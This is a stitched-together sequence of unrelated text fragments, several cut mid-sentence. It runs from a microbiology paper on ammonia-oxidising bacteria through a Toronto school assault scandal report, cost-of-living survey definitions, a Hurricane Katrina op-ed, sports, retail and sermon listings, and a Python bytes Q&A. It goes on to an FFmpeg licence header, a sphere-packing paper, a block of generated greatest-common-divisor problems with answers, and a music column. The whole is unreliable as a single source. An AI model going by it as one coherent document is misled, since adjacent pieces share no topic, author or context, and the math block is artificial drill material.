The different oxygen profiles corresponding to aerated (+O~2~) and oxygen-deprived (−O~2~) culture conditions in [Figure 3](#microorganisms-08-00432-f003){ref-type="fig"}a and [Figure 4](#microorganisms-08-00432-f004){ref-type="fig"}a were the result of an interplay of two sequential processes, namely oxygen transfer at the air--liquid interphase and dissolved oxygen consumption in the liquid medium \[[@B48-microorganisms-08-00432]\]. In the incubation with shaking (+O~2~), the oxygen transfer at the air--liquid interphase was higher compared to the non-shaking condition, which led to a higher oxygen concentration in the medium throughout the entire growth experiment. On the other hand, under a non-shaking condition (−O~2~), oxygen transfer at the air--liquid interphase was slower and, consequently, the oxygen consumption due to ammonium oxidation led to a sharp decrease in the dissolved oxygen concentration. The dissolved oxygen concentration increased towards the end of the growth experiment due to the decrease in ammonium concentration in the medium.
The elevated cytochrome c activity of oxygen-deprived *N. eutropha* and *Nitrosospira* fit well with the results reported by Sedlacek et al. \[[@B9-microorganisms-08-00432]\] and Pellitteri-Hahn et al. \[[@B16-microorganisms-08-00432]\], whose works indicated a significant increase in the cytochrome c content of stressed cells, but contradicted Wei et al. \[[@B22-microorganisms-08-00432]\], who reported mRNA levels for cytochrome c in growing cells to exceed those of energy-starved cells by a factor of 10. Sedlacek et al. \[[@B9-microorganisms-08-00432]\] used transcriptomics on stressed *N. europaea* to elucidate the stress response to either ammonia or oxygen limitation, reporting that the transcripts for protein-encoding genes related to energy production and conservation, including for the proteins AMO, HAO, and NOR, were increased during oxygen-deprived growth, while three cytochrome c proteins associated with the ammonia-oxidizing pathway were even among the top 20% of genes transcribed under stress conditions. Kozlowski et al. \[[@B10-microorganisms-08-00432]\], who compared the metabolism pathways of several AOB based on micro-respirometry and genome analysis, confirmed that these enzymes and cytochrome c proteins are encoded in multiple copies by *N. europaea*, *N. eutropha*, and *Nitrosospira*, including the associated cytochrome c proteins.
The observed differences in cytochrome c activity of *Nitrosospira briensis* and *Nitrosospira* sp. (Nsp 02) correlated well with their respective oxygenation histories (compare [Figure 4](#microorganisms-08-00432-f004 |
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1244
] | the lovely Ms. Cat talk to the camera. Footage is courtesy of Robbie Live.
HHS1987 recently sat down with Asia Sparks to discuss her music career, Kevin Liles, new music, beef, and more below.The board of St. Michael’s College School is standing by principal Greg Reeves amid a scandal that’s seen six students at the all-boys private school criminally charged following an alleged sexual assault in a locker room.
In a statement released Wednesday, the school’s board said it is “united” in support of Reeves and Basilian Father Jefferson Thompson, the school’s president, over their handling of the crisis.
Chair Michael Forsayeth said in the statement the school is “deeply saddened by the recent incidents that have taken place at our beloved school. They are offensive to everything we stand for and to the values we strive to instill in our students.”
Reeves has faced questions on his handling of a crisis that began after a pair of videos circulated on social media two weeks ago.
On Monday, six young teens were charged and released on bail over one video that showed an alleged sexual assault in a locker room.
They cannot be identified under the provisions of the Youth Criminal Justice Act.
Read more:
What we know and don’t know about the scandal at St. Michael’s College School — and what we can’t report
Grey Cup player says he’s ‘disgusted’ by scandal at St. Mike’s, his former school
Opinion | Rosie DiManno: Prestigious Toronto school sinks deeper into hellish sex assault scandal
Both Reeves and Jefferson Thompson were hired because of their “dedication and care for students throughout their careers,” the board’s statement read.
“They are both men of the highest integrity and continue to have our trust to lead us forward,” it added.
The school has expelled at least eight students since the beginning of the scandal — at four over the locker room video and four over a separate incident.
School administrators took a full day before handing the locker room video over to police on Nov. 14.
Media had by that point already informed police of the video, police said.
At a Monday news conference, Toronto police Insp. Sinopoli said the school should have immediately contacted police about the locker room video.
The board’s statement also said alumni gave a standing ovation at Tuesday-night meeting on the crisis.
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“Witnessing the standing ovation at last night’s alumni meeting, many of whom are current and past parents, I believe that Fr. Thompson and Mr. Reeves have their overwhelming support. As a school community, we want to ensure that these incidents do not happen again,” reads the statement.
Police are investigating six incidents at the elite institution, including the locker room video, one other alleged sexual assault, three assaults and one incident related to threatening.British Virgin Islands Cost of living Stats
Definitions
Average monthly disposable salary > After tax:
Average Monthly Disposable Salary (After Tax). Based on 0-50 contributions for Afghanistan, Aland Islands, Andorra and 81 more countries and 50-100 contributions for Albania, Algeria, Armenia and 19 more countries and over 100 contributions for Argentina, Australia, Austria and 82 more countries. The surveys were conducted by numbeo.com from May, 2011 to February, 2014. See this sample survey for the United States, respondents were asked "Average Monthly Disposable Salary (After Tax)". Prices in current USD.
Basic utilities > Garbage, water, heating, electricity for 85 sqm apartment:
Basic (Electricity, Heating, Water, Garbage) for 85m2 Apartment. Based on 0-50 contributions for Afghanistan, Aland Islands, Andorra and 81 more countries and 50-100 contributions for Albania, Algeria, Armenia and 19 more countries and over 100 contributions for Argentina, Australia, Austria and 82 more countries. The surveys were conducted by numbeo.com from May, 2011 to February, 2014. See this sample survey for the United States, respondents were asked "Basic (Electricity, Heating, Water, Garbage) for 85m2 Apartment". Prices in current USD.
Cinema ticket price > International release:
Cinema, International Release, 1 Seat. Based on 0-50 contributions for Afghanistan, Aland Islands, Andorra and 81 more countries and 50-100 contributions for Albania, Algeria, Armenia and 19 more countries and over 100 contributions for Argentina, Australia, Austria and 82 more countries. The surveys were conducted by numbeo.com from May, 2011 to February, 2014. See this sample survey for the United States, respondents were asked "Cinema, International Release, 1 Seat". Prices in current USD.
Clothing and shoe prices > Jeans > 1 pair of Levi 501s or equivalent:
1 Pair of Jeans (Levis 501 Or Similar). Based on 0-50 contributions for Afghanistan, Aland Islands, Andorra and 81 more countries and 50-100 contributions for Albania, Algeria, Armenia and 19 more countries and over 100 contributions for Argentina, Australia, Austria and 82 more countries. The surveys were conducted by numbeo.com from May, 2011 to February, 2014. See this sample survey for the United States, respondents were asked "1 Pair of Jeans (Levis 501 Or Similar)". Prices in current USD.
Clothing and shoe prices > Shoes > Pair of Nikes:
1 Pair of Nike Shoes. Based on 0-50 contributions for Afghanistan, Aland Islands, Andorra and 81 more countries and 50-100 contributions for Albania, Algeria, Armenia and 19 more countries and over 100 contributions for Argentina, Australia, Austria and 82 more countries. The surveys were conducted by numbeo.com from May, 2011 to February, 2014. See this sample survey for the United States, respondents were asked "1 Pair of Nike Shoes". Prices in current USD.
Internet > Broadband 6Mpbs, uncapped data:
Based on 0-50 contributions for Afghanistan, Aland Islands, Andorra and 81 more countries and 50-100 contributions for Albania, Algeria, Armenia and 19 more countries and over 100 contributions for Argentina, Australia, Austria and 82 more countries. The surveys were conducted by numbeo.com from May, 2011 to February, 2014 (sample survey for the United States). Respondents were asked abot the price of an Internet connection (6 Mbps, Unlimited Data, Cable/ADSL)". Prices in current USD.
Prices at markets > Cigarettes > Pack of Marlboro:
Based on 0-50 contributions for Afghanistan, Aland Islands, Andorra and 81 more countries and 50-100 contributions for Albania, Algeria, Armenia and 19 more countries and over 100 contributions for Argentina, Australia, Austria and 82 more countries. The surveys were conducted by numbeo.com from May, 2011 to February, 2014 (sample survey for the United States). Respondents were asked about the price of a Pack of Cigarettes (Marlboro). Prices in current USD.
Prices at markets > Egg > Dozen:
Average prize of a dozen eggs. Based on 0-50 contributions for Afghanistan, Aland Islands, Andorra and 81 more countries and 50-100 contributions for Albania, Algeria, Armenia and 19 more countries and over 100 contributions for Argentina, Australia, Austria and 82 more countries. The surveys were conducted by numbeo.com from May, 2011 to February, 2014. See this sample survey for the United States, respondents were asked about the prize of a dozen eggs. Prices in current USD.
Prices at markets > Loaf of bread > Fresh, white:
Based on 0-50 contributions for Afghanistan, Aland Islands, Andorra and 81 more countries and 50-100 contributions for Albania, Algeria, Armenia and 19 more countries and over 100 contributions for Argentina, Australia, Austria and 82 more countries. The surveys were conducted by numbeo.com from May, 2011 to February, 2014 (sample survey for the United States). Respondents were asked about the price of a Loaf of Fresh White Bread (500g). Prices in current USD.
Prices at markets > Milk > 1 litre:
Based on 0-50 contributions for Afghanistan, Aland Islands, Andorra and 81 more countries and 50-100 contributions for Albania, Algeria, Armenia and 19 more countries and over 100 contributions for Argentina, Australia, Austria and 82 more countries. The surveys were conducted by numbeo.com from May, 2011 to February, 2014 (sample survey for the United States). Respondents were asked about the price of 1 liter of regular Milk. Prices in current USD.
Prices at markets > Rice > White, 1kg:
Based on 0-50 contributions for Afghanistan, Aland Islands, Andorra and 81 more countries and 50-100 contributions for Albania, Algeria, Armenia and 19 more countries and over 100 contributions for Argentina, Australia, Austria and 82 more countries. The surveys were conducted by numbeo.com from May, 2011 to February, 2014 (sample survey for the United States). Respondents were asked about the price of 1 kg of White Rice. Prices in current USD.
Prices at markets > Water > 1.5 litre bottle:
Based on 0-50 contributions for Afghanistan, Aland Islands, And |
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] | The men and women of the National Guard shouldn’t be killing in Iraq.They should be helping in New Orleans and Biloxi.
The catastrophic hurricane was an act of God. But the U.S. war effort in Iraq is a continuing act of the president. And now, that effort is hampering the capacity of the National Guard to save lives at home.
Before the flooding of New Orleans drastically escalated on Tuesday, the White House tried to disarm questions that could be politically explosive. “To those of you who are concerned about whether or not we’re prepared to help, don’t be, we are,†President Bush said.“We’re in place, we’ve got equipment in place, supplies in place, and once the — once we’re able to assess the damage, we’ll be able to move in and help those good folks in the affected areas.â€
Echoing the official assurances, CBS News reported: “Even though more than a third of Mississippi’s and Louisiana’s National Guard troops are either in Iraq or supporting the war effort, the National Guard says there are more than enough at home to do the job.â€
But after New Orleans levees collapsed and the scope of the catastrophe became more clear, such reassuring claims lost credibility. The Washington Post reported on Wednesday: “With thousands of their citizen-soldiers away fighting in Iraq, states hit hard by Hurricane Katrina scrambled to muster forces for rescue and security missions yesterday — calling up Army bands and water-purification teams, among other units, and requesting help from distant states and the active-duty military.â€
The back-page Post story added: “National Guard officials in the states acknowledged that the scale of the destruction is stretching the limits of available manpower while placing another extraordinary demand on their troops — most of whom have already served tours in Iraq or Afghanistan or in homeland defense missions since 2001.â€
Speaking for the Mississippi National Guard, Lt. Andy Thaggard said:“Missing the personnel is the big thing in this particular event. We need our people.†According to the Washington Post, the Mississippi National Guard “has a brigade of more than 4,000 troops in central Iraq†while “Louisiana also has about 3,000 Guard troops in Baghdad.â€
National Guard troops don’t belong in Iraq. They should be rescuing and protecting in Louisiana and Mississippi, not patrolling and killing in a country that was invaded on the basis of presidential deception. They should be fighting the effects of flood waters at home — helping people in the communities they know best — not battling Iraqi people who want them to go away.
Let’s use the Internet today to forward and post this demand so widely that the politicians in Washington can no longer ignore it:
Bring the National Guard home. Immediately.
Norman Solomon is the author of the new book “War Made Easy: How Presidents and Pundits Keep Spinning Us to Death.†For information, go to:www.WarMadeEasy.comTravel from Philippines to Sudan, Travel to Sudan from Philippines, Visit Sudan from Philippines, Holidays in Sudan for a national of Philippines, Vacation in Sudan for a citizen of Philippines, Going to Sudan from Philippinessports WORTHINGTON -- The Ridgewater volleyball team finished the first half of its MCAC Southern Division schedule with a 25-19, 25-20, 24-26, 25-15 win over Minnesota West Wednesday.
The Lady Warriors went 4-1 in the first swing through the division and are 12-4 overall.
"We didn't play up to our potential...
Willmar, 56201
Willmar Minnesota 2208 Trott Ave. SW / P.O. Box 839 56201
2012-11-30 12:15:51
WORTHINGTON -- The Ridgewater volleyball team finished the first half of its MCAC Southern Division schedule with a 25-19, 25-20, 24-26, 25-15 win over Minnesota West Wednesday.
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The Lady Warriors went 4-1 in the first swing through the division and are 12-4 overall.
"We didn't play up to our potential until midway through Game 4," said coach Joe Sussenguth. "Minnesota West has some strong, tall hitters. We made a better commitment to defense in the fourth game."
Ridgewater had a .277 kill percentage as a team.
Karrie Blommel led the way with 15 kills on 35-of-37 attempts. Leah Miller had 13 kills (23 of 26), served four aces and had 16 digs. Molly Miller also had four ace serves. Carina Fesenmaier added 40 assists and three ace blocks, Jordan Olerud had three ace blocks, seven kills and 16 digs.Q:
Why is hexadecimal bytes data b'\x35' being interpreted as b'5' in Python?
I am working with a set of hexadecimal data. I am using bytes type for the data.
For example
I am having the data as b'\x35', b'\xA6', b'\x12', b'\x26'
When I print each of these hexadecimal characters, I am getting the output as b'5', b'\xa6', b'\x12', b'&' correspondingly
I am getting b'\xa6', b'\x12' as the same. But I am getting a different output when I print b'\x35' and b'\x26'.
Can you please tell me how do I fix this issue? I want my output to be the same as the input .
A:
The reason you are getting b'5' when you print b'\x35' is because 0x35 is the hexadecimal representation of the number 5 (in the ASCII encoding). Python just interprets b'\x35' as 5. So when you get b'5' its the exact same thing as b'\x35'. The same goes for any ascii character. For example if I typed in:
print(b'\x61')
I would get a as the output because 0x61 is the ascii code for the letter a. Essentially, b'5' is exactly the same as b'\x35', so nothing needs changing. Just use the value as is, since it will work fine.
Hope this helps!
AboutJumia
Jumia, Nigeria's no. 1 online retailer was established in May 2012 with the aim and vision to become the one-stop shop for retail in Nigeria with implementation of best practices both online and offline. Initially starting with 3 employees, Jumia presently has a staff strength of 1000 young and entrepreneurial Nigerians including our 150 man strong customer service team available 7 days a week. Jumia is the largest online retail store in Nigeria. Deliveries to all 36 states in NigeriaIf you’ve been keeping up with U.S. politics, you know there’s been a lot happening lately. What you definitely missed is H.R.644 going into effect, a.k.a. the Trade Facilitation and Trade Enforcement Act of 2015, a.k.a. the America Gives More Act, what you need to know is in Title IX, Sec. 901 which says the following:
TITLE IX–MISCELLANEOUS PROVISIONS (Sec. 901) It is the sense of Congress that the USTR should encourage other countries to establish commercially meaningful de minimis values for express and postal shipments that are exempt from customs duties and taxes and from certain other entry documentation requirements. This bill amends the Tariff Act of 1930 to increase from $200 to $800 the general de minimis aggregate fair retail value in the country of shipment of duty-free articles imported by one person on one day.
Among other things, the amendments to this bill, signed by President Obama on February 24, 2016, are intended to expand trade. One benefit is that, with a simplified process that lowers the excise tax, more funds can be made available to non-profits.
But, entirely more importantly, you can now buy most of your high end denims from overseas duty free! As most of you know, there aren’t too many Japanese jeans that you can buy for less than $200. It’s a process prohibitive to that artisanal denim life. Now, though, you can take your denim game to the international level (for up to $800) without duties cop-blocking you.
Except for Endrime‘s $1100 handsewn jeans. And Momotaro‘s $2000 handwoven jeans. But if you’re seriously considering either of those jeans, I doubt you’re worried about duties. Aside from those, get your credit cards out, open up a new tab, preferably one that leads to an overseas retailer, and cop yourself a new pair of jeans.Methods for tracking down Lepidopterans to explore through photography
Story and photographs by Dave Huth
I photograph creatures and their environments as a way of exploring and understanding the beauty and complexity of the living world. I began photographing moths and caterpillars after explaining to my then-7-year-old daughter how her grandfather first got me interested in nature. My Dad is an amateur Lepidopterist who introduced me to these weird and secretive creatures when I |
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] | chunk of asphalt shot like a missile through the driver’s side windshield of her 1993 Oldsmobile around 4:30 pm.
The rock, tossed from the the Kimball Avenue Bridge overpass, fell 30 feet and slammed into McSweeney’s head as her horror-stricken mom watched helplessly. The car careened out of control for about a third of a mile. It then crashed into a guardrail, veered back onto the shoulder and across the Bronx River Parkway split before coming to rest in the bushes near the Desmond Avenue off-ramp.
McSweeney was killed instantly. Her pendant of Saint Padro Pio, the Italian Capuchin friar who bore the stigmata, was found on her blood-spattered car seat.
Pulicicchio told reporters at the time that the women had been talking about where to have dinner after church when the rock struck. “I heard this awful noise,” the older woman told reporters in 2004. “She was gone after that. I tried to bring her back, but no response.”
DeFiore yesterday described the scene as “every motorist’s nightmare, traveling under a roadway overpass wondering if an object will be thrown from it. “
“This defendant did just that, throwing a large chunk of asphalt into traffic, ending the life of a 48-year-old woman as surely as if he pulled a trigger.”
Several witnesses came forward at the time of the incident to say they had seen a gang of thugs throwing debris from the overpass just minutes before McSweeney’s car was hit. Sources said at the time that cops were looking for a teenager who may have been involved.
It is unclear if Plasencia, who would have been 17 at the time, is that teenager.
Bronx-bred McSweeney, a married administrative assistant for Pfizer drugs, was her widowed mom’s only child, and spent every Saturday with her. Mary Pulicicchio died in 2006.Créme Fraîche - 7.5 oz.
Créme fraîche is a soured cream that is less sour than typical sour cream. It has a high amount of butterfat and a low pH of about 4.5 which makes it just the right level to accompany your favorite caviars and salmons without overpowering them. Also perfect in soups, sauces and atop desserts. Our selections are made in USA and closely resemble the finest from Normandy. Requires refrigeration. Brand subject to change.Resources
The Golden Thread of Grace is a series of sermons inspired by Luke 24:27“and beginning at Moses and all the Prophets, he expounded to them in all
the Scriptures the things concerning Himself”
Each message is Christ revealed through the books of the Old TestamentGENESIS 6 CD’S $30.00 (plus postage)
1. Introduction
2. The tree of life
3. The seed of the woman
4. The ark of salvation
5. The Son of promise
6. The beloved son
EXODUS 8 CD’S $40.00 (plus postage)
7. The deliverer
8. The passover lamb
9. The red sea baptism
10. The tree that made the bitter waters sweet
11. The bread from heaven
12. The water from the rock
13. The law
14. The tabernacle
LEVITICUS 6 CD’S $30.00 (plus postage)
15. Sacrifice & Offerings
16. Our great high priest
17. The day of atonement
18. The scapegoat
19. The feasts of the Lord
20. The year of jubilee
NUMBERS 5 CD’S $25.00 (plus postage)
21. The camp of Israel
22. The star of Jacob
23. The promised land
24. The bronze serpent
25. The rock that was struck
DEUTERONOMY 5 CD’S $25.00 (plus postage)
26. The 2nd person of the Godhead
27. The prophet like Moses
28. The curse removed
29. The word, The life
30. Jehovah is salvation
JOSHUA 4 CD’S $20.00 (plus postage)
31. Leads us into rest
32. The scarlet cord
33. The commander of the armies of the Lord
34. The cities of refuge
JUDGES 3 CD’S $15.00 (plus postage)
35. The righteous judge
36. The Lion of the tribe of judah
37. The Angel of the LordStamps featuring the Technological University of the Philippines
The Philippine Postal Corporation will issue a stamp to commemorate the Centennial Anniversary of the Technological University of the Philippines.
Kind of Issue:
Commemorative
Denomination & Quantity:
P5.00 – – – – – 75,000
Date of Issue:
August 20, 2001
Last Day of Sale:
November 20, 2001
Sheet Composition:
50 (5 x 10)
Size of Stamp:
40mm x 30mm
Perforation
14
Printing Process:
Litho-Offset (4 colors)
Paper:
Imported Unwatermarked
Printer
Amstar Company, Inc.
Designers:
Prof. Johannes P. del Valle
Prof. Rafael P. Ignacio
Design Coordinator:
Dr. Florida C. Labugen
Graphic Artist:
Edgar P. Patricio
Design:
TUP logo tilted to a rotating motion signifying the dynamic expertise of coping with ihe ever-changing demands of technological education
Stamps and Official First Day Covers will be available starting 20 August 2001 at the Philatelic Division,Liwasang, Bonifacio, 1000 Manila and all Regional Offices of the Philippine Postal Corporation.That’s right, it’s the World Cup. Has it been four years already? It feels like just yesterday that I was saying to myself, “Wow, is it 2010 already? It feels like just yesterday that …” you get the point. I never think about soccer at all until it’s the World Cup. So when I think of my life in relation to soccer, it’s always about how fast time goes by, in these really quick four-year lurches.
And then when it’s actually the World Cup, time does a complete one-eighty and comes to a halt. It’s like somehow those four years that flew by in between World Cups get compressed into thirty days where the clock barely moves at all. I find myself constantly asking myself, “Seriously? Is it still the World Cup?”
There’s always a moment for like half a second where I tell myself that this year I’m going to get into it, that for thirty days at least, I’m going to start paying attention to soccer. But the other day I went to the gym and one of the games was playing on all of the TVs. So that was a little discouraging, that I’d already neglected to find out when the games were on or who was playing.
And whatever, all of the machines were facing in that direction, so I tried to follow the gameplay as I worked out. But after like ten or fifteen minutes, I really had trouble maintaining focus. The ball was going up and then to the side and then back again. For a while I looked at this guy to my left, he was watching the TV with an intense focus that let me know that he was serious. And I’d look to him, every once in a while switching from the screen and back to his expression.
At one point he clapped his hands together, muttering something to himself, “Yes!” I could tell he was pumped about something that just happened. But, and I was watching, I had no idea what he got excited about. As far as I could tell, there hadn’t been any significant change in the game’s momentum. The ball looked like it was bouncing back and forth and up the same as it had been the whole game.
It’s stupid to rip on soccer. Obviously the rest of the world likes it. And I can’t get mad at people for only watching soccer during the World Cup. I mean, how else is the sport supposed to gain followers if not during these huge international competitions? It’s just a really easy target, soccer, with its gigantic field, seemingly three hundred players on the “pitch” at the same time, running this way and that, the dramatic embellishment, the ridiculously corrupt governing organization.
I want to like soccer, I really do. But I also really want to keep throwing cheap shots at soccer, because it’s just so easy. Whatever, if the US wins the World Cup this year, I’ll never say anything bad about soccer again. So don’t let me down Landon Donovan.
Wait, what?/*
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* Copyright (C) 2008 NVIDIA
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* This file is part of FFmpeg.
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* FFmpeg |
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] | projection we can easily find all such pairs using the method of Agrell *et al.* [@LattPt]. The cut-off distance is chosen so that at least all replicas that might be in risk of overlap are represented.
The problem of implementation is not the only reason we wish to limit the number of replicas we represent. A proliferation of unnecessary replicas has the adverse effect of attenuating the information obtained from the “concur” projection by diluting the influence of more critical replicas. We observe that such replica proliferation could result not only in a slower search, but also in an increased tendency to become trapped in local optima. Limiting the number of replicas is one way to avoid this effect, but we find it useful to further amplify the information from critical constraints by giving them greater weights [@D-C]. We perform the weight adjustments adiabatically, that is, slowly over the course of many iterations, by updating the weights of each replica pair according to the rule $$w_i \to \frac{\tau w_i + w_i'(\mathrm{X}_c)}{\tau+1}\text,$$ where $w_i'(\mathrm{X}_c)$ is a function that assigns replicas weights based on their configuration in the “concur” estimate, and $\tau$ is a relaxation time for the replica weights in units of iterations.
In the sphere packing problem (in $d$ dimensions, with unit spheres), we choose the weight function to be $$w_i'(\mathrm{X}_c)=\begin{cases} e^{\alpha(4-||\mathbf{x}_i||^2)} & \text{if $||\mathbf{x}_{i}|| \le 2$} \\
(||\mathbf{x}_{i}||^2 - 3)^{-2-d/2} & \text{if $||\mathbf{x}_{i}|| > 2$,}
\end{cases}$$ with $\alpha \approx 20$. The dimensional dependence is chosen so that under the assumption of uniform density, the total weight from replicas over a certain distance follows a dimension-independent power law. In the polytope packing problem, we similarly use $$\label{polyweight}
w_i'(\mathrm{X}_c)=\begin{cases} e^{\alpha \Delta_i^2} & \text{if the polytopes overlap}\\
(1+r_{i}^2-4r_{in}^2)^{-2} & \text{if not,}
\end{cases}$$ with $\alpha \approx 10$, where $r_{in}$ is the inradius of the polytope, $r_i$ is the centroid-centroid distance of the polytopes, and $\Delta_i^2$ is the measure of the overlap between the polytopes defined in .
In addition to the maintenance of replicas, which is performed after every iteration of the difference map, we also periodically perform a lattice reduction using the LLL algorithm [@LLL]. The lattice generated by $\mathrm{M}_0$ is re-represented using the LLL-reduced generating matrix $\mathrm{M}_0'=\mathrm{G}_0\mathrm{M}_0$, where $\mathrm{G}_0$ is a unimodular integer matrix. Additionally, all primitive particles whose centroids are outside of the unit cell given by $\{\sum_i \lambda_i \mathbf{a}_i \colon -1/2\le\lambda_i<1/2\}$ are re-represented by their lattice-translate in that cell. In summary, the new packing generating matrix $\mathrm{M}'$ is given by $$\mathrm{M}' = \mathrm{G} \mathrm{M} =
\left( \begin{array}{ccc} \mathrm{G}_0 & 0 \\ \mathrm{G}_1 & 1 \end{array} \right)\mathrm{M}\text,$$ where $\mathrm{G}_1$ gives the lattice translations to be applied to the primitive particles. Since the actual positions of the particles, as represented in the matrix $\mathrm{X}=\mathrm{A}\mathrm{M}$, should be unchanged, the lattice reduction must also be applied to the nominally constant matrix $\mathrm{A}$ ($\mathrm{A} \to \mathrm{A}' = \mathrm{A}\mathrm{G}^{-1}$).
\[sec4\]Results
===============
\[sec41\]Sphere packing
-----------------------
Using the PDC scheme described in the previous sections we perform a *de novo* search for the densest lattice ($p=1$) sphere packings in dimensions $2$—$14$. The PDC search, starting from random initial configurations, was able to reproduce the densest packing lattices known for all cases, and the results of the search are summarized in Table \[tab2\]. For dimensions $2$—$8$ the lattices are known to be optimal, and for dimensions $9$—$14$ these results are, to our knowledge, the first numerical evidence from a *de novo* search that the known lattices are optimal.
Note that the number of replicas is determined by the number of near neighbors of each sphere, which rises rapidly with the number of dimensions. This rise causes an increased computational storage cost per physical degree of freedom in a PDC search, compared to a constant storage cost per physical degree of freedom in a method involving a local search in the physical configuration space. However, this rise need not affect the scaling of CPU costs, since both search methods need necessarily check a comparable number of particle pairs for possible overlaps.
In dimensions $d=10,11,13$ there are known non-lattice packings with $p=40,72,144$ respectively that are denser than the densest known lattices [@SPLAG]. In up to 11 dimensions, we searched for non-lattice packings with as many as $p=12$ primitive spheres, but the searches did not produce packings denser than the lattice packings. For a density target matching the lattice density, the searches reproduced the lattice packing, suggesting that the lattice packing in these dimensions is the optimal packing with a small number of spheres in the unit cell.
$d$ $\Lambda_{\text{densest}}$ $\phi^{(L)}_\text{densest}$ $\langle N_\text{iter}\rangle$ $\langle n\rangle$ $t_\text{iter}$ success rate
----- ---------------------------- ----------------------------- -------------------------------- -------------------- ----------------- --------------
2 $A_2$ $0.90690$ $42$ $11$ $0.1 ms$ $100/100$
3 $D_3$ $0.74047$ $230$ $38$ $0.2 ms$ $100/100$
4 $D_4$ $0.61685$ $191$ $127$ $0.4 ms$ $100/100$
5 $D_5$ $0.46526$ $308$ $323$ $1 ms$ $100/100$
6 $E_6$ $0.37295$ $173$ $977$ $2 ms$ $100/100$
7 $E_7$ $0.29530$ $217$ $2740$ $5 ms$ $96/100$
8 $E_8$ $0.25367$ $99$ $8528$ $20 ms$ $96/100$
9 $\Lambda_9$ $0.14577$ $161$ $16314$ $30 ms$ $85/100$
10 $\Lambda_{10}$ $0.092021$ $394$ $31433$ $70 ms$ $47/100$
11 $K_{11}$ $0.060432$ $421$ $68722$ $0.3 s$ $54/100$
12 $K_{12}$ $0.049454$ $397$ $204321$ $0.9 s$ $55/100$
13 $K_{13}$ $0.029208$ $577$ $430796$ $2 s$ $25/100$
14 $\Lambda_{14}$ $0.021624$ $1652$ $1007250$ $6 s$ $4/10$
: \[tab2\]Results of PDC searches for dense lattice packing in dimensions $d=2,\ldots 14$. For each dimension, 100 runs from random initial conditions were performed with the density target $\phi_\text{target}=\phi^{(L)}_\text{densest}$, the density of the densest known lattice $\Lambda_\text{densest}$ [@SPLAG]. The runs were limited to 5000 iterations, and the number of converged runs is quoted in the right-most column. For dimensions $10$ and above, each run was first allowed to converge at a density target of $0.8\phi_\text{densest}$ and then continued with the final target. The mean number of difference map iterations in converged runs was $\langle N_\text{iter}\rangle$, and the mean number of relevant exclusion constraint used was $\langle n\rangle$. Each iteration took an average runtime of $t_\text |
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] | Let i(b) = b + 44. Let o be i(-26). Let d(m) = -5*m - 53. Let s be d(-34). Calculate the highest common factor of o and s.
9
Let d = 6 + -4. Suppose 39*r - 43*r = 45*r - 343. What is the highest common factor of d and r?
1
Suppose 0 = -8*w + 31*w - 115. Suppose 0 = 4*o + w*p - 407, p - 5 = -2. Let m be (63/12)/((-6)/(-16)). What is the highest common divisor of m and o?
14
Let b(w) = -w**2 - 26*w - 71. Let q be b(-20). What is the highest common divisor of q and 630?
7
Let q(o) = 9*o**3 - 2*o**2 + o + 1. Let j be q(2). Suppose 216*m - 114173 = -18771 + 92734. What is the greatest common divisor of j and m?
67
Suppose -3*d = 4*y - 171, 0 = 89*y - 86*y + 5*d - 131. Calculate the greatest common divisor of 182 and y.
14
Suppose 5*a = 5 - 0, 4*a + 251 = 5*p. Suppose -68*v + 612 = -65*v. What is the highest common factor of p and v?
51
Let w = 6754 + -3844. Calculate the highest common divisor of w and 10.
10
Suppose -3*z = 2*x - 804, 16 = x + 10. Calculate the highest common factor of z and 627.
33
Suppose 0 = 15*l + 2*l + 68. Let s be (-6 - -4)*8/l. Let z = -4 + 7. Calculate the highest common factor of z and s.
1
Suppose -4*b - 9*v + 67 = 0, -16*b + 19*b - 39 = -3*v. Calculate the greatest common factor of b and 1360.
10
Let w be (3*(-24)/9)/(4/(-18)). Calculate the greatest common factor of w and 15516.
36
Let o(h) = 9*h + 22. Let l(t) = -t**2 + 9*t - 11. Let c be l(4). Suppose c*p - 120 = -30. Let n be o(p). What is the highest common factor of 16 and n?
16
Let k = 34 + -20. Suppose -5*n + 12 = -4*p, 2*p + 2*p = -n + 12. Suppose 2*q + 324 = 3*c - p*q, -q = -3*c + 333. What is the highest common divisor of c and k?
14
Suppose -t + 0*t + 14 = 0. Let k be 3*1 + (-65)/(-13). Suppose -10*s + 3*m + 463 = -k*s, -2*s - m = -443. What is the greatest common divisor of t and s?
14
Suppose -2*x - t + 7 = 0, -x + 7*t = 3*t + 10. Suppose -x*n = -n - 3. Let v = n + 19. What is the highest common factor of 55 and v?
11
Suppose 0 = -58*w + 61*w + 33. Let o = w - -71. Calculate the greatest common divisor of 9 and o.
3
Suppose -5*v + 3*v - 13 = -3*v. Calculate the highest common divisor of v and 2925.
13
Let l(j) = -j**3 + 35*j**2 - 8*j + 337. Let y be l(35). Calculate the highest common factor of 912 and y.
57
Let a be 5 + (-930)/(-54) + (56/36)/(-7). Calculate the greatest common factor of a and 8338.
22
Suppose -20*i + 20 + 0 = 0. Let w be -50*((-169)/(-65) + i + -4). What is the highest common divisor of 60 and w?
20
Let j(p) = 6*p**2 - p - 6. Let a be j(2). Suppose 19*s = a*s + 1785. Calculate the highest common divisor of 35 and s.
35
Let m(d) = 2*d**2 + 34*d - 323. Let c be m(8). What is the greatest common divisor of c and 217?
7
Let o(h) = -h**2 - 9*h + 58. Let z be o(-13). Suppose -125*b + 119*b + z = 0. Calculate the highest common factor of b and 3.
1
Let f(o) = o**3 + 4*o**2 - 17*o - 9. Let v be f(3). Calculate the highest common factor of 134 and v.
1
LetColumn: Omar S, A Romantic Anti-hero
In the current position of our modern dance ‘community’, which is much better described by the term a ‘well-oiled industry’ than a ‘community’, we yearn for anti-heroes. DJs, producers or party organizers who act solely out of artistic considerations, personalities who still embrace the ‘true spirit’ in their hearts. When Omar-S began starting producing his controversial productions – around the beginning of the 2000s – he was instantly crowned as the decade’s much anticipated anti-hero.
Omar-S’s story contained all the right components: a down-and-out Detroit resident with a tedious job, wasting his time in the auto industry during the day and busy in the evening creating records that every label out there rejected. A seemingly outlandish tale that in real time – the beginning of the 2000s – defies the economic-technological-cultural reality.
With a massive hype around his name on the web after barely a record and a half Omar also turned out to be a man of sinful hubris – a principle indicating that he is an antagonist masked as an anti-hero (and the credit goes to Derrick May). Omar doesn’t whine about the fact that labels such as Djax-Up-Beats or Strictly Rhythm rejected him, and he certainly doesn’t think there’s a reason we should feel sorry about his work in the auto industry, which he so protectively still keeps. While he may be a romantic anti-hero with a volley of infantile expressions of which he may or may not be aware, above all he is is a trailblazing aesthete.
